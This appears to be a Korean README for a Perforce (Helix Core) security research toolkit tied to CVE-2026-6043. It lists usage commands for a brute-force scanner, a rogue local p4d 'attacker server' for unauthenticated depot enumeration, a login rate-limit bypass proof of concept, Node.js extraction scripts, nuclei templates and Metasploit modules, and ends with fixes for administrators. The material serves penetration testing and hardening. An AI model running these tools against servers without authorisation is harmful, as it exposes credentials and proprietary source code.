
퍼포스 보안 연구 및 도구 - CVE-2026-6043
Perforce(Helix Core) 보안 연구 도구 및 nuclei 템플릿입니다.
연구 논문: https://morganrobertson.net/p4wned/
자세한 내용은 위 링크를 참조하세요.
승인된 대상에만 사용하세요. 자신의 서버 또는 명시적인 서면 허가를 받은 경우에만 사용하십시오.
대상 독자: Perforce 서버 관리자, 침투 테스터, 보안 엔지니어
2026년 5월 업데이트: Perforce 2026.1이 출시되었습니다. 이 버전은 보안 기본값을 적용하여 제공됩니다! 개발자 IP를 보호하기 위해 이 릴리스가 발표되어 매우 기쁩니다. 자세히 읽기.
참고: 이 도구는 CVE-2026-6043으로 인한 잘못된 구성을 스캔합니다.
| 도구 | 필수 사항 |
|---|---|
p4wned.py | Python 3, p4 CLI 바이너리 (아래 참조) |
p4ghost.py | Python 3, p4 CLI 바이너리, 로컬 p4d 인스턴스 (아래 설정 참조) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1 (p4-auth-hammer/README.md 참조) |
| JavaScript 도구 | Node.js (외부 종속성 없음) |
| Nuclei 템플릿 | Nuclei v3+ |
| Metasploit 모듈 | Metasploit Framework |
p4 바이너리 획득 (p4wned.py 및 p4ghost.py에 필요):
# Perforce 이용 약관 적용: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Perforce 서버는 사용자 지정 바이너리 TCP 프로토콜(기본 포트 1666)을 노출합니다. 많은 설치가 안전하지 않은 기본값(인증되지 않은 사용자 목록, 서버 정보 공개, 접근 가능한 원격 저장소, 비밀번호 요구 사항 없음, 로그인 시도 속도 제한 없음)으로 제공됩니다. 여기에 있는 모든 도구는 자격 증명 없이 이러한 기본값을 악용합니다.
기본 스캐너입니다. p4 CLI 바이너리를 사용하여 사용자 열거, 자격 증명 테스트, 저장소 목록화 및 보고서를 생성합니다.
python3 p4wned.py [-brute] [-audit] [-parallel N]
옵션:
| 플래그 | 설명 |
|---|---|
-brute | 무차별 대입 모드 활성화 — 발견된 모든 사용자 계정에 대해 비밀번호 테스트 |
-audit | 철저한 감사 모드 — 취약점을 찾은 후에도 모든 사용자 테스트 계속 |
-parallel N | 병렬 비밀번호 시도 횟수 (기본값: 1) |
구성 (스크립트 상단에서 편집):
기능:
run.users.authorize=0인 경우)super 그룹 멤버십 확인콘솔 출력:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
보고서 파일 (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
숨겨진 remote 사용자를 통해 인증되지 않은 원격 저장소 접근을 테스트합니다. 이 익스플로잇은 공격자가 로컬에서 제어하는 p4d 인스턴스를 실행하여 작동합니다. 대상 서버는 서버 간 프로토콜의 일부로 다시 연결되며, 그 과정에서 저장소 파일 목록이 유출됩니다.
설정 (1회):
# Perforce 이용 약관 적용: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# 포트 1818에서 일반 ASCII p4d 시작 (공격자 서버로 사용)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# 유니코드 대상용으로 별도 포트(1819)에서 유니코드 p4d 시작
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # 유니코드 모드로 변환
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# 위 로컬 공격자 서버를 사용한 예시 호출
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
인수:
영향을 받는 버전: security < 4(기본값 0)인 2025.1 미만의 모든 버전.
security < 3일 때 p4d가 인증 시도를 효과적으로 속도 제한하지 않음을 보여주는 개념 증명입니다. Perforce C++ API를 사용하여 단일 계정에 대해 분당 300,000회 이상의 로그인 시도를 달성합니다.
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
빌드 (Perforce C++ API 및 OpenSSL 1.1.1 필요 — 전체 설정은 p4-auth-hammer/README.md 참조):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
모드:
security < 3). 속도 제한이 완전히 우회됩니다. 분당 300,000회 이상 시도.-ticketauth: 티켓 기반 로그인 (security >= 3). 이 수준에서는 속도 제한(dm.user.loginattempts)이 활성화됩니다.SSL 및 유니코드 서버를 자동 감지합니다. 최대 처리량을 위해 스레드 수를 자동 조정합니다.
해결 방법: p4 configure set security=3 (또는 4). 자세한 내용은 p4-auth-hammer/README.md 참조.
독립형 Node.js 스크립트입니다. Node.js 표준 라이브러리 외에 종속성이 없습니다. 모든 스크립트는 SSL 대 일반 TCP, ASCII 대 유니코드 서버 모드를 자동 감지합니다. 플래그가 필요하지 않습니다.
대상 파일 형식: host:port 한 줄에 하나씩, 포트가 생략되면 기본값 1666입니다. #으로 시작하는 줄은 무시됩니다.
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
자동 감지: 일반 TCP가 먼저 시도됩니다. 서버가 Perforce SSL 오류 메시지("Failed client connect, server using SSL")로 응답하면 rejectUnauthorized: false(자체 서명 인증서 수락)로 TLS를 통해 연결이 재시도됩니다. ASCII 모드가 먼저 시도됩니다. 서버가 유니코드 오류 메시지를 반환하면 unicode 매개변수로 연결이 재시도됩니다.
run.users.authorize=0(기본값)을 악용하여 인증 없이 모든 사용자 계정을 나열합니다.
node javascript/perforce-users.js [targets_file]
출력: [host:port] [tcp|ssl] username <email> "Full Name"
dm.info.hide=0(기본값)을 악용하여 서버 버전, 내부 주소, 루트 경로 및 라이선스 문자열을 추출합니다.
node javascript/perforce-info.js [targets_file]
출력:
[host:port] [tcp|ssl]
Version : P4D/LINUX26X86_64/2024.2/2877946
Server Addr: internal-hostname:1666
Server Root: /opt/perforce/p4root
License : Acme Corp
비밀번호가 설정되지 않은 사용자 계정을 찾습니다. 태그가 지정된 출력 형식(tag 매개변수)을 사용하여 사용자 레코드에 Password 필드가 없음을 감지합니다. 비밀번호가 없는 계정은 직접 인증되지 않은 로그인을 허용합니다.
node javascript/perforce-passwordless.js [targets_file]
출력: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"
숨겨진 remote 사용자를 rmt-DbPipe 서버 간 RPC를 통해 악용하여 db.rev 테이블을 직접 읽고 저장소 파일 경로와 변경 번호를 인증 없이 추출합니다. 영향을 받는 버전: security < 4인 2025.1 미만.
node javascript/perforce-remote.js [targets_file]
출력:
[host:port] [tcp|ssl] 42 file(s) in depot:
[change=7] [2024-11-03] //depot/src/main.cpp
[change=3] [2024-09-12] //depot/config/database.yml
Perforce 서버에서 글로벌 키/카운터 값을 추출합니다. 키에는 빌드 번호, 내부 버전 문자열 및 구성이 포함될 수 있습니다.
node javascript/perforce-keys.js [targets_file]
출력: [host:port] [tcp|ssl] keyname = value
Nuclei용 템플릿입니다. 모든 템플릿은 JavaScript 페이로드를 실행하기 전에 TCP 게이트 단계를 사용하여 Perforce 서버가 있는지 확인합니다. 템플릿은 JavaScript 도구와 동일한 자동 감지 방식을 사용합니다.
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt
| 템플릿 | ID | 설명 |
|---|---|---|
perforce-detect.yaml | perforce-detection | 바이너리 프로토콜 핸드셰이크를 통해 Perforce 서버 탐지. 심각도: info. |
제한 사항: SSL 미지원, 포트 1666만 지원. 자세한 내용은 javascript 도구 참조.
Metasploit Framework용 보조 스캐너 모듈 3개와 Perforce 바이너리 프로토콜을 처리하는 공유 라이브러리 믹스인이 포함되어 있습니다. 이 모듈은 위의 독립형 도구와 동일한 취약점(사용자 열거, 비밀번호 없는 계정 탐지, 원격 저장소 악용)을 다룹니다.
모든 모듈은 ASCII 대 유니코드 서버 모드를 자동 감지합니다. SSL이 지원됩니다.
| 모듈 | 설명 |
|---|---|
auxiliary/scanner/perforce/perforce_user_enum | 인증되지 않은 사용자 목록 — 사용자 이름, 이메일, 전체 이름 및 마지막 접근 시간을 추출합니다. |
소스 파일은 metasploit/ 디렉토리에 있습니다. Metasploit Framework에 PR이 제출되었습니다.
해결 방법 빠른 참조:
| 변수 | 설명 |
|---|
INPUT_FILE | 대상 목록 (ip:port, 한 줄에 하나씩) — 기본값 perforce-servers.txt |
P4_CMD | p4 바이너리 경로 — 기본값 ./p4 |
TOP_PASSWORDS_FILE | 무차별 대입용 단어 목록 — 기본값 top-passwords.txt |
KNOWN_CREDS_FILE | 먼저 시도할 알려진 자격 증명 쌍 |
REPORT_FILE | 출력 보고서 경로 |
| 플래그 | 설명 |
|---|
input_file | 대상 목록 (ip:port, 한 줄에 하나) |
-skipnolicense | Server license: none을 반환하는 서버 건너뛰기 |
-report FILE | 출력 보고서 경로 |
-p4cmd PATH | p4 바이너리 경로 (기본값 ./p4) |
-unicodeport PORT | 공격자 서버로 사용할 로컬 유니코드 p4d 포트 |
-nonunicodeport PORT | 로컬 비유니코드 p4d 포트 |
-timeout SECS | 명령 타임아웃 |
| 템플릿 | ID | 심각도 | CVSS | 설명 |
|---|
perforce-user-extraction.yaml | perforce-user-enumeration | Medium | 5.3 | 인증되지 않은 사용자 목록 — ASCII 및 유니코드 서버. 사용자 이름, 이메일, 전체 이름 추출. |
perforce-info-disclosure.yaml | perforce-info-disclosure | Medium | 5.3 | 서버 정보 공개 — 버전, 내부 주소, 루트 경로, 라이선스. |
perforce-passwordless-users.yaml | perforce-passwordless-users | Critical | 9.1 | 비밀번호가 설정되지 않은 계정 찾기. |
perforce-remote-depot-unauth.yaml | perforce-remote-depot-access-unauth | High | 7.5 | remote 사용자를 통한 원격 저장소 접근 — ASCII 및 유니코드 서버. 파일 경로 및 변경 번호 추출. 영향: security < 4인 2025.1 미만. |
auxiliary/scanner/perforce/perforce_passwordless| 비밀번호가 설정되지 않은 계정을 탐지합니다. |
auxiliary/scanner/perforce/perforce_remote_depot | 숨겨진 remote 사용자를 통한 원격 저장소 파일 열거. 영향: security < 4인 2025.1 미만. |
| 발견 사항 | 수정 방법 |
|---|
| 사용자 열거 | p4 configure set run.users.authorize=1 |
| 정보 공개 | p4 configure set dm.info.hide=1 |
| 비밀번호 없는 사용자 | 모든 계정에 비밀번호 설정; p4 configure set dm.user.noautocreate=2 |
| 원격 저장소 접근 | 2025.1+로 업그레이드 또는 p4 configure set security=4 |
| 인증 속도 제한 | p4 configure set security=3 (dm.user.loginattempts를 통해 효과적인 잠금 활성화) |
| 위 모든 사항 | p4 configure set security=4 및 위 개별 설정 — security=4는 원격 익스플로잇을 수정하지만 사용자 목록이나 서버 정보는 숨기지 않음 |